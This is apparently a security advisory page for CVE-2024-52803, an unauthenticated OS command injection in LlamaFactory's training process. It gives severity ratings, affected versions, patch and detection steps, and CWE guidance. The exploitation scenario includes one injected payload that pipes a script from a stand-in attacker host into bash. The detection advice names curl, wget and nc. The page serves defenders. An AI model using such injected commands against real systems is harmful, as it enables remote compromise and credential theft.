CVE-2024-52803: LlamaFactory: RCE via OS command injection in training
GHSA-hj3w-wrh4-44vp CRITICAL PoC AVAILABLE CISA: TRACK*Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.
What is the risk?
Extremely high. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means zero-barrier remote exploitation. EPSS at 2.4% suggests active exploitation has not been widely observed yet, but a public PoC on GitHub makes weaponization trivial. Training servers frequently run with elevated privileges and access to sensitive data (weights, datasets, cloud credentials), amplifying the blast radius well beyond the host itself.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| LLaMA Factory | pip | — | No patch |
| LLaMA Factory | pip | <= 0.9.0 | 0.9.1 |
How severe is it?
What is the attack surface?
What should I do?
5 steps-
PATCH
Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix.
-
ISOLATE
If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure.
-
AUDIT
Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files).
-
ROTATE
Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts.
-
DETECT
Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2024-52803?
Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.
Is CVE-2024-52803 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2024-52803, increasing the risk of exploitation.
How to fix CVE-2024-52803?
1. PATCH: Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix. 2. ISOLATE: If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure. 3. AUDIT: Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files). 4. ROTATE: Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts. 5. DETECT: Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).
What systems are affected by CVE-2024-52803?
This vulnerability affects the following AI/ML architecture patterns: LLM fine-tuning pipelines, MLOps platforms, Training infrastructure, Self-hosted model development environments.
What is the CVSS score for CVE-2024-52803?
CVE-2024-52803 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 2.27%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0025 Exfiltration via Cyber Means AML.T0035 AI Artifact Collection AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
LLama Factory enables fine-tuning of large language models. A critical remote OS command injection vulnerability has been identified in the LLama Factory training process. This vulnerability arises from improper handling of user input, allowing malicious actors to execute arbitrary OS commands on the host system. The issue is caused by insecure usage of the `Popen` function with `shell=True`, coupled with unsanitized user input. Immediate remediation is required to mitigate the risk. This vulnerability is fixed in 0.9.1.
Exploitation Scenario
An attacker identifies an internet-facing LlamaFactory training interface (common in self-hosted ML platforms and Jupyter-adjacent tooling). They craft an HTTP request to the training API with a payload containing shell metacharacters (e.g., `; curl attacker.com/shell.sh | bash #`) in a user-controlled parameter. Because `Popen` is called with `shell=True` and no sanitization, the OS shell evaluates the injected command directly. The attacker establishes a reverse shell, harvests cloud credentials from environment variables and config files, exfiltrates model checkpoints, and pivots to connected infrastructure — all without ever authenticating.
Weaknesses (CWE)
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
- github.com/advisories/GHSA-hj3w-wrh4-44vp
- nvd.nist.gov/vuln/detail/CVE-2024-52803
- gist.github.com/superboy-zjc/f2d2b93ae511c445ba97e144b70e534d Exploit
- github.com/hiyouga/LLaMA-Factory/commit/b3aa80d54a67da45e9e237e349486fb9c162b2ac Patch
- github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-hj3w-wrh4-44vp Exploit Vendor
Timeline
Related Vulnerabilities
CVE-2025-53002 9.8 LLaMA-Factory: RCE via unsafe checkpoint deserialization
Same package: llamafactory CVE-2025-61784 8.1 LLaMA-Factory: SSRF+LFI in multimodal chat API
Same package: llamafactory CVE-2025-46567 7.8 LLaMA-Factory: RCE via torch.load() unsafe deserialization
Same package: llamafactory CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Supply Chain